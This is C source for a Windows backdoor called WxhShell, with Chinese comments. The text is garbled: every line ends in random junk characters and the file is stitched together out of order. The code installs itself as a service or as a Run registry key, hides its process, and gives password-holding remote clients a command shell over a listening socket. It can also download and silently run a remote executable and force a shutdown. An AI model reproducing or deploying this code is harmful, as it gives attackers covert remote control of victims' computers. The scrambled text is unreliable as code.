    if(Boot(SHUTDOWN)) RVv@x5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TIg 3'au  
    else { y4aSf2   
    closesocket(wsh); LL5n{#)N  
    ExitThread(0); /I{<]m$  
    } w/r wE  
    break; >Vr+\c  
    } =6b^j]1  
  // 获取shell &B uO-  
  case 's': { [HB>\   
    CmdShell(wsh); <d,Qi.G4  
    closesocket(wsh); xzg81sV7  
    ExitThread(0); 'c 0]8Y 4  
    break; .OM m"RtK  
  } fYF\5/_  
  // 退出 5V&3m@d0aq  
  case 'x': { <syMrXk)R(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ANEW^\  
    CloseIt(wsh); =Mb!&qq  
    break; c&.>SR')  
    } V`Z-m-V~1  
  // 离开  Hu|;cbK  
  case 'q': { ahNpHTPa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ml1sE,BT  
    closesocket(wsh); <rc?EV  
    WSACleanup(); 5v4 ,YHD  
    exit(1); 4 2aYM!  
    break; K_ P08  
        } T]\_[e:'  
  } y^:!]-+  
  } WpE\N0Yg  
bX%9'O[-  
  // 提示信息 7A|n*'[T>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H8+7rM  
} /t`s.!k  
  } DjK:)  
lz.ta!6  
  return; Fyy)665x/  
} A+*M<W  
d@~Hp?  
// shell模块句柄 ( /{Wu:e  
int CmdShell(SOCKET sock) FU9q|!2Y  
{ p9k' .H^:_  
STARTUPINFO si; I/D (gY06<  
ZeroMemory(&si,sizeof(si)); _|`~CLE[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,)3%@MwO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [k-Q89  
PROCESS_INFORMATION ProcessInfo; lAU`7uE  
char cmdline[]="cmd"; wP.b2X_V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }p 0 \  
  return 0; HV@ C@wmg  
} B2Qt tcJ  
d 6 t#4!  
// 自身启动模式 ?yop#tjCbY  
int StartFromService(void) rf_(pp)  
{ fB+4mEG@  
typedef struct (055>D6  
{ <&:OSd:%  
  DWORD ExitStatus; Zq7Y('=`t@  
  DWORD PebBaseAddress; };"-6e/9  
  DWORD AffinityMask; 9fr LYJz"  
  DWORD BasePriority; !t/I j~o  
  ULONG UniqueProcessId; XlP q>@4p  
  ULONG InheritedFromUniqueProcessId; R{"Kh2q_  
}   PROCESS_BASIC_INFORMATION; 33dHTV  
BH"f\oc  
PROCNTQSIP NtQueryInformationProcess; x5[wF6A  
mm(Ff>O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mOG;[CB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?-w<H!Y7  
4lMf'V7*l  
  HANDLE             hProcess; F}p)Q$0  
  PROCESS_BASIC_INFORMATION pbi; ? S^ U-.`  
tQ=P.14>:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P%M Yr"<$E  
  if(NULL == hInst ) return 0; JGl0 (i*|  
^ Q]I)U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W8{g<. /  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z\wY3pIr2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?7>G\0G  
KITC,@xE_O  
  if (!NtQueryInformationProcess) return 0; )Y.H*ca  
,.;q[s8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zvjp]yTx"  
  if(!hProcess) return 0; RV^ N4q4  
8i:E$7etH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,MH/lQq%  
JmL{&  
  CloseHandle(hProcess); v4c*6(m  
[\eh$r\   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -I dW-9~9  
if(hProcess==NULL) return 0; D@@J7  
'/l<\b/E  
HMODULE hMod; bzYj`t?  
char procName[255]; oD1rt>k  
unsigned long cbNeeded; LsB|}_j7  
]\DZW4?'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G`1!SEae  
M&auA  
  CloseHandle(hProcess); Z !HQ|')N5  
H,8HGL[l  
if(strstr(procName,"services")) return 1; // 以服务启动 X0a)6HZ{  
"m2g"x a\7  
  return 0; // 注册表启动 ?r P'PUB  
} _{$eOwB  
r"HQ>Wn  
// 主模块 ZSWKVTi  
int StartWxhshell(LPSTR lpCmdLine) pjG/`  
{ 'Lm\ r+$F  
  SOCKET wsl; W}^X;f  
BOOL val=TRUE; yhTC?sf<  
  int port=0; t5t!-w\M$+  
  struct sockaddr_in door; FFC"rG  
~)ut"4  
  if(wscfg.ws_autoins) Install(); >~_oSC)E  
{\:"OcP #  
port=atoi(lpCmdLine); |.]sL0; 4Z  
GnTCq_\  
if(port<=0) port=wscfg.ws_port; Owd{;  
D1G9^7:^E  
  WSADATA data; [%?ViKW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZQ@ Ul  
::<v; `l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^HiI   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y}aKL(AaU  
  door.sin_family = AF_INET; /i:c!l9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a ][t#`  
  door.sin_port = htons(port); \tCxz(vKz  
/[V}   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nC6 ;:uM  
closesocket(wsl); u9c^:Op  
return 1; zDK"Y{  
} GpwoS1#)0|  
/Py1Q  
  if(listen(wsl,2) == INVALID_SOCKET) { /7[U J'  
closesocket(wsl); >~+qU&'2  
return 1; $X\deJ1Hi  
} ]7|Zs]6  
  Wxhshell(wsl); cmcR @zv  
  WSACleanup(); I 0vJJP#  
8cKP_Ec  
return 0; C3k[ipCN  
Q}zd!*  
} 1@}s:  
*'l|ws  
// 以NT服务方式启动 f3;.+hJ])  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bz'#YM  
{ b=$(`y  
DWORD   status = 0; UiE 1TD{  
  DWORD   specificError = 0xfffffff; \bXusLI!l  
(JX 9c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .X.,.vHx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4QZ|e{t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L9} %tEP  
  serviceStatus.dwWin32ExitCode     = 0; |~]@hs~  
  serviceStatus.dwServiceSpecificExitCode = 0; tX.fbL@ T  
  serviceStatus.dwCheckPoint       = 0; ]@P!Q&V #  
  serviceStatus.dwWaitHint       = 0; 9]4W  
_Dq, \}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oaj$Z- f  
  if (hServiceStatusHandle==0) return; ^l8&y;-T  
/:GeXDJw  
status = GetLastError(); jt?DogYx  
  if (status!=NO_ERROR) bmP2nD6  
{ O[<YYL 0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e8,!x9%J  
    serviceStatus.dwCheckPoint       = 0; %=*nJvYS  
    serviceStatus.dwWaitHint       = 0; ; 8B )J<y  
    serviceStatus.dwWin32ExitCode     = status; Dkyw3*LCn%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;N?raz2mEi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @3v[L<S{  
    return; EvGKcu  
  } D/oO@;`'c  
1e)5D& njS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `:*O8h~i^8  
  serviceStatus.dwCheckPoint       = 0; ?#0m[k&`  
  serviceStatus.dwWaitHint       = 0; q]\GBRp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [}Z!hq  
} jccSjGX@w  
"lnI@t{o  
// 处理NT服务事件,比如:启动、停止 ]w/%>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P.Gmj;  
{ T`W37fz0  
switch(fdwControl) 6` 4,  
{ phP%  
case SERVICE_CONTROL_STOP: =IEei{  
  serviceStatus.dwWin32ExitCode = 0; XGcl9FaO}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w|[{xn^R  
  serviceStatus.dwCheckPoint   = 0; LXq0hI  
  serviceStatus.dwWaitHint     = 0; S4C4_*~Vd  
  { njGZ#{"eC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \J-}Dp\0b  
  } ]yV,lp  
  return; 78h!D[6  
case SERVICE_CONTROL_PAUSE: %pUA$oUt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z/P^Bx]r  
  break; #q9cjEd_7  
case SERVICE_CONTROL_CONTINUE: B!AJ*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8;<3Tyjzu  
  break; "NvB@>S  
case SERVICE_CONTROL_INTERROGATE: G_v^IM#B=  
  break; ojbms>a  
}; i~ITRi@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7*C>4Gs  
} W%P$$x5&  
t2hI^J0y  
// 标准应用程序主函数 W{X5~w(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8dlhL8#  
{ 7OdJ&Gzd  
/;;$9O9  
// 获取操作系统版本 Y*-dUJK-`  
OsIsNt=GetOsVer(); ,tl(\4n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M-zqD8D  
P.W@5:sD  
  // 从命令行安装 Lt2<3DB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3FsX3K,_X  
F-GrQd:O=  
  // 下载执行文件 %'&_Po\  
if(wscfg.ws_downexe) { Gq =i-I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Noi+mL  
  WinExec(wscfg.ws_filenam,SW_HIDE); owe6ge7m  
} Q60'5Wt  
60X))MyN  
if(!OsIsNt) { ;R*tT%Z,  
// 如果时win9x,隐藏进程并且设置为注册表启动 4YyVh.x  
HideProc(); K-Fro~U  
StartWxhshell(lpCmdLine); I!u fw\[  
} TFI$>Oz|  
else RCY}JH>}  
  if(StartFromService()) fK10{>E1  
  // 以服务方式启动 O)D+u@RhH  
  StartServiceCtrlDispatcher(DispatchTable); @,;VMO  
else KvNw'3Ua  
  // 普通方式启动 gV;9lpZ2  
  StartWxhshell(lpCmdLine); H|s,;1#  
5 NN`tv  
return 0; eD)@:K  
} :$^cY>o  
c3!YA"5  
r#\Lq;+-B  
=q<t,UP8  
=========================================== ^ Q  
#sb@)Q  
6I-Qq?L[H  
{33B%5n"  
w'&QNm>  
Q+zy\T  
" VskdC?yIp  
~!#2s'  
#include <stdio.h> Lem:zXj  
#include <string.h> ?vg|;Q  
#include <windows.h> gh<2i\})'  
#include <winsock2.h> jPmp=qg"q  
#include <winsvc.h> 0/fA>%&  
#include <urlmon.h> *x@.$=NF"  
QRz5eGpW  
#pragma comment (lib, "Ws2_32.lib") eK =v<X  
#pragma comment (lib, "urlmon.lib") j!/=w q  
;bYLQ  
#define MAX_USER   100 // 最大客户端连接数 a=AP*adx8  
#define BUF_SOCK   200 // sock buffer `c'R42S A  
#define KEY_BUFF   255 // 输入 buffer Qt"i  
*B%ulsm  
#define REBOOT     0   // 重启 \PM5B"MDZ  
#define SHUTDOWN   1   // 关机 p&W{g $D>  
,`U'q|b  
#define DEF_PORT   5000 // 监听端口 N6w!V]b  
i ?]`9z  
#define REG_LEN     16   // 注册表键长度 8=WX`*-uH  
#define SVC_LEN     80   // NT服务名长度 (dQsR sA  
]<:qMLg  
// 从dll定义API _g%h:G&^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hZ UnNQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6a4-VX5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @0fiui_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fg^Z g\X3  
+W^$my)<  
// wxhshell配置信息 +.IncY8C$  
struct WSCFG { @9\L|O'~?  
  int ws_port;         // 监听端口 f6JC>Np  
  char ws_passstr[REG_LEN]; // 口令 k'PNfx\K  
  int ws_autoins;       // 安装标记, 1=yes 0=no `c/mmS  
  char ws_regname[REG_LEN]; // 注册表键名 fB`7f $[  
  char ws_svcname[REG_LEN]; // 服务名 F~zrg+VDjL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f#| wb~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RZTC+ylj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i1DJ0xC]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A?ij  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ 3FOI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M1_1(LSU  
P>qDQ1  
}; 6+W`:0je  
c|(&6(r  
// default Wxhshell configuration {7+y56[yu  
struct WSCFG wscfg={DEF_PORT, +~'ap'k m  
    "xuhuanlingzhe", o`~ %}3  
    1, }<mK79m  
    "Wxhshell", mecm,xwm  
    "Wxhshell", 5sguv^;C5  
            "WxhShell Service", ^u$?& #  
    "Wrsky Windows CmdShell Service", 1wt(pkNk  
    "Please Input Your Password: ", >f-*D25f%  
  1, 7|^5E*8/  
  "http://www.wrsky.com/wxhshell.exe", A)641"[  
  "Wxhshell.exe" 6 i'kc3w  
    }; J:G~9~V^  
'-vzQd@y  
// 消息定义模块 <XH,kI(%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u8Oo@xf0Fr  
char *msg_ws_prompt="\n\r? for help\n\r#>";  9t_N 9@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zi= gOm  
char *msg_ws_ext="\n\rExit."; $-"V 2  
char *msg_ws_end="\n\rQuit."; F.@U X{J  
char *msg_ws_boot="\n\rReboot..."; :{M1]0 NH  
char *msg_ws_poff="\n\rShutdown..."; "Is0:au+?}  
char *msg_ws_down="\n\rSave to "; S|/Za".Gr  
/=~o|-n8@  
char *msg_ws_err="\n\rErr!"; 97MbyEE8J  
char *msg_ws_ok="\n\rOK!"; Iv51,0A  
4=7h1qex  
char ExeFile[MAX_PATH]; Cbjx{  
int nUser = 0; < SvjvV  
HANDLE handles[MAX_USER]; ~.&2N Ur  
int OsIsNt; w0Y V87  
31`Eq*Y)4  
SERVICE_STATUS       serviceStatus; lWWy|r'il  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fSw6nEXn  
B'~CFj0W%=  
// 函数声明 dc%0~Nz  
int Install(void); JQk][3Rv  
int Uninstall(void); g: ,*Y^T  
int DownloadFile(char *sURL, SOCKET wsh); RinaGeim  
int Boot(int flag); q !Nb-O{  
void HideProc(void); GcCMCR3  
int GetOsVer(void); Wv-nRDNG  
int Wxhshell(SOCKET wsl); v>E3|w%  
void TalkWithClient(void *cs); v8NoD_  
int CmdShell(SOCKET sock); CK#SD|~:  
int StartFromService(void); l t{yo\  
int StartWxhshell(LPSTR lpCmdLine); W B7gY\Y&M  
M\)(_I)V=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =`fz#Mfd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bxs0m]  
6}^6+@LG  
// 数据结构和表定义 a@niig  
SERVICE_TABLE_ENTRY DispatchTable[] = uM74X^U  
{ MH h;>tw  
{wscfg.ws_svcname, NTServiceMain}, rLJjK$_x  
{NULL, NULL} 'o% .Q x  
}; b,o@ m  
JmJNq$2#c  
// 自我安装 ,c.(&@  
int Install(void) t+%tN^87:  
{ 5M mSQ_  
  char svExeFile[MAX_PATH]; V;%DS)-  
  HKEY key; :?J0e4.]  
  strcpy(svExeFile,ExeFile); xe9V'wICp(  
y-k]Tr  
// 如果是win9x系统,修改注册表设为自启动 mYw9lM  
if(!OsIsNt) { Z9k"&F ~u}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {[$JiljD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4I7;/ZgALQ  
  RegCloseKey(key); /I@Dv?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }S}9Pm,:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Lt Lu  
  RegCloseKey(key); 1 -:{&!  
  return 0; 'c&S%Ra[3G  
    } o}VW%G"  
  } Ct\n1T }  
} O.^1r  
else { NI33lp$V  
VVVw\|JB>  
// 如果是NT以上系统,安装为系统服务 P DtLJt$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J'4V_Kjg-  
if (schSCManager!=0) e!.r- v9  
{ fd/?x^Z  
  SC_HANDLE schService = CreateService xYl ScM_~  
  ( v*VId l>  
  schSCManager, o.M.zkP a  
  wscfg.ws_svcname, mmx; Vt$i  
  wscfg.ws_svcdisp, . Q$/\E  
  SERVICE_ALL_ACCESS, gRQV)8uh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C Ch38qBp  
  SERVICE_AUTO_START, 8zWKKcf7t  
  SERVICE_ERROR_NORMAL, GjGt' m*  
  svExeFile, l>iE1`iL<  
  NULL, #oQDt'  
  NULL, XWNDpL`j5  
  NULL, } D0Y8  
  NULL, <Q|(dFr`v  
  NULL 5Ff1x-lQ  
  ); fqQ(EVpQ  
  if (schService!=0) &<\i37y  
  { V1!;Hvm]+  
  CloseServiceHandle(schService); c</u]TD  
  CloseServiceHandle(schSCManager); 'X{J~fEI!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;JAb8dyS2  
  strcat(svExeFile,wscfg.ws_svcname); })^%>yLfc|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |6y(7Ha  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )Ept yH  
  RegCloseKey(key); cO^}A(Ma(  
  return 0; 2pn8PQfg)  
    } vivU4:uH3  
  } />[X k  
  CloseServiceHandle(schSCManager); 7PG|e#  
} G$_=rHt_%  
} 6p1)wf.J  
"+GKU)  
return 1; vhot-rBN  
} ?)i`)mu'  
ed6eC8@  
// 自我卸载 \qB:z7I2  
int Uninstall(void) IolKe:'>@  
{ :HTV8;yc  
  HKEY key; ^DWhIxBh  
:jU u_s}  
if(!OsIsNt) { _q /UDf1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6nP-IKL  
  RegDeleteValue(key,wscfg.ws_regname); NNM+Z:  
  RegCloseKey(key); *^_ywqp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DgiMMmpE  
  RegDeleteValue(key,wscfg.ws_regname); #mvOhu  
  RegCloseKey(key); ,[t>N>10TH  
  return 0; v#WD$9QWs  
  } T>\ r}p  
} R}VEq gq  
} Al1BnFB  
else { *&A/0]w  
!3 j@gi2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pXBlTZf  
if (schSCManager!=0) Z{gJm9  
{ 7m +d;x2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4kqgZtg.  
  if (schService!=0) %L;;W,l$`)  
  { U{%N.4:   
  if(DeleteService(schService)!=0) { %tC3@S  
  CloseServiceHandle(schService); ;;; {<GEQ  
  CloseServiceHandle(schSCManager); -D-]tL6w  
  return 0; UxS@]YC  
  } 5^+QTQ  
  CloseServiceHandle(schService); (iO8[  
  } 9u2Mra  
  CloseServiceHandle(schSCManager); c[RkiV3  
} `SH#t3 5,  
} oM4Q_An  
>L{s[pLJ  
return 1; _}RzJKl@  
} 0X'2d  
;\[ el<Y)s  
// 从指定url下载文件 Ja(>!8H>@  
int DownloadFile(char *sURL, SOCKET wsh) [sF z ;Py]  
{ oiL^$y/:;z  
  HRESULT hr; ~:M"JNcs  
char seps[]= "/"; 5Dv ;-G;  
char *token; h%yw'?s  
char *file; T~" T%r  
char myURL[MAX_PATH]; d9>k5!  
char myFILE[MAX_PATH]; rs?"pGz;  
;DXcEzV  
strcpy(myURL,sURL); IS9}@5`'  
  token=strtok(myURL,seps); $&l} ABn  
  while(token!=NULL) 1P1"xT  
  { ~Vf+@_G8`  
    file=token; 1O{x9a5Z?O  
  token=strtok(NULL,seps); *6b$l.Vs  
  } *4<Kz{NF  
_Boe"   
GetCurrentDirectory(MAX_PATH,myFILE); Sy?O(BMo  
strcat(myFILE, "\\"); +_h1JE_}D  
strcat(myFILE, file); L dyTB@  
  send(wsh,myFILE,strlen(myFILE),0); %:~LU]KX  
send(wsh,"...",3,0); 1s@%q <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y::I_6[eV  
  if(hr==S_OK) 5\6S5JyIL  
return 0; pf'-(W+  
else $Z8=QlG>  
return 1; t:?8I9d  
gfW8s+  
}  {Hp*BE   
h;(#^+LH  
// 系统电源模块 M]JD(  
int Boot(int flag) E)h&<{%  
{ }VUrn2@-4  
  HANDLE hToken; ~c*$w O\  
  TOKEN_PRIVILEGES tkp; 8ezdU"  
G6?+Qz r  
  if(OsIsNt) { 28N v'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3TS(il9A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;E{k+vkqy  
    tkp.PrivilegeCount = 1; j>KJgSs]&\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]*M-8_D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ">LX>uYmX-  
if(flag==REBOOT) { 1aQR9zg%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ![OKmy  
  return 0; cJ> #jl&  
} ;[ag|YU$Y  
else { #'<s/7;~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $<[Q8V-  
  return 0; QlmZ4fT[r  
} L-}6}5[  
  } x\r[Zp|  
  else { TrBBV]4  
if(flag==REBOOT) { H]XY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >#Obhs|S{C  
  return 0; bQ3EBJT{P  
} b?~%u+'3  
else { O DLRzk(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bZB7t`C5  
  return 0; !&k}YF  
} 9O.okU  
} XYM 5'  
YgN:$+g5  
return 1; w>]?gN?8Fe  
} eA$wJ$*   
0F495'*A  
// win9x进程隐藏模块 +mgmC_Q(0  
void HideProc(void) BcfW94  
{ wM"P JG  
2qF ?%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R2 I 7d'|v  
  if ( hKernel != NULL ) <Xsy{7  
  { {H5a.+-(bE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~_ 8X%ut y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ])sIQ{P  
    FreeLibrary(hKernel); C" W,  
  } b,8\i|*!f  
`=zlS"dQ  
return; qkEre  
} M!9gOAQP  
!FqJP OGm  
// 获取操作系统版本 /g_cz&luR  
int GetOsVer(void) M'n2j  
{ 122%KS  
  OSVERSIONINFO winfo; 8-2e4^ g(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fXV+aZ  
  GetVersionEx(&winfo); 41S.&-u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {7%W /C#A  
  return 1; DLWG0$#!  
  else srh>" 2."  
  return 0; W@vt6v  
} #c?xJ&bh  
l. 9 i `  
// 客户端句柄模块 *" ("^_x\  
int Wxhshell(SOCKET wsl) *K<|E15 ,  
{ ODbEL/  
  SOCKET wsh; m=hlim;P,  
  struct sockaddr_in client; v|WTm#  
  DWORD myID;  *XlbD  
gtV^6(Y  
  while(nUser<MAX_USER) ?51Y&gOEZ  
{ !6R;fD#^s  
  int nSize=sizeof(client); "zn<\z$l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * 7<{Xbsj^  
  if(wsh==INVALID_SOCKET) return 1; 0I`)<o-  
su/!<y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .}wVM`81z  
if(handles[nUser]==0) q, 8TOn  
  closesocket(wsh); oV(|51(f  
else X4c|*U=4  
  nUser++; EU@ BNja  
  } _5nS!CN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8%@![$q<g  
?nLlZpZ2v  
  return 0; Cw*:`  
} W7_j;7'  
*CIR$sS  
// 关闭 socket |B<;4ISaRI  
void CloseIt(SOCKET wsh) BkP'b{z|  
{ nD8 Qeem@  
closesocket(wsh); iB]xYfQ&@V  
nUser--; 9ff6Apill  
ExitThread(0); e|t@"MxvC  
} X3bPBv  
X{ZcJ8K  
// 客户端请求句柄 Z8X=Md8=  
void TalkWithClient(void *cs) ;V=Y#|o  
{ z^ai *   
b6mSPH@  
  SOCKET wsh=(SOCKET)cs; >o]!-46  
  char pwd[SVC_LEN]; R 2{kS  
  char cmd[KEY_BUFF]; al<;*n{/  
char chr[1]; >{seaihK  
int i,j; OzVCqq"]  
H'Oy._,]t  
  while (nUser < MAX_USER) { VP7g::Ab  
EDl*UG83G  
if(wscfg.ws_passstr) { u["3| `C5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %`M IGi#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wNk 0F7Ck  
  //ZeroMemory(pwd,KEY_BUFF); 0gLl>tF[H  
      i=0; _i/x4,=xv  
  while(i<SVC_LEN) { (mNNTMe  
0:CIM  
  // 设置超时 OH(w3:;[8  
  fd_set FdRead; prWK U  
  struct timeval TimeOut; Q.]$t 2J  
  FD_ZERO(&FdRead); s9Tp(Yr,k  
  FD_SET(wsh,&FdRead); ""; Bq*Y#  
  TimeOut.tv_sec=8; U9*uXD1\  
  TimeOut.tv_usec=0; .~nk' m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _5t~g_(1OK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +;T `uOF}  
&}:]uC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [1LlzCAFBw  
  pwd=chr[0]; o4^|n1vN  
  if(chr[0]==0xd || chr[0]==0xa) { kK,Ne%}a2K  
  pwd=0; W RBCNra  
  break; ZM6`:/lc  
  } K+s@.D9J  
  i++; SU,#:s(  
    } ^n@dC?  
c\J?J>xz  
  // 如果是非法用户,关闭 socket !Qqi%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eTeZ^G  
} ef Moi'v  
l\HLlwYO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O<RLw)nzg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7gk}f%,3P  
K&\ q6bU  
while(1) {  W0&x0  
)F$<-0pT  
  ZeroMemory(cmd,KEY_BUFF); #[uDVCM  
)'+ tb\g  
      // 自动支持客户端 telnet标准   G2 E4  
  j=0; 9W7 ljUg  
  while(j<KEY_BUFF) { Wq+a5[3"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y^*o%2/  
  cmd[j]=chr[0]; \~r`2p-K  
  if(chr[0]==0xa || chr[0]==0xd) { v!>(1ROQ.=  
  cmd[j]=0; #Ns]l<  
  break; 6dN W2_  
  } YUGEGXw  
  j++; H,{WrWA  
    } B%.vEk)*  
?f8)_t}^\  
  // 下载文件 =^9I)JW  
  if(strstr(cmd,"http://")) { TI<?h(*R_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q| 6lp  
  if(DownloadFile(cmd,wsh)) ]U,c`?[7#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,eP>55'K  
  else 4eRV?tE9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -PG81F&K  
  } Nueb xd  
  else { <\fB+ AZ  
,\Q^[e!m~  
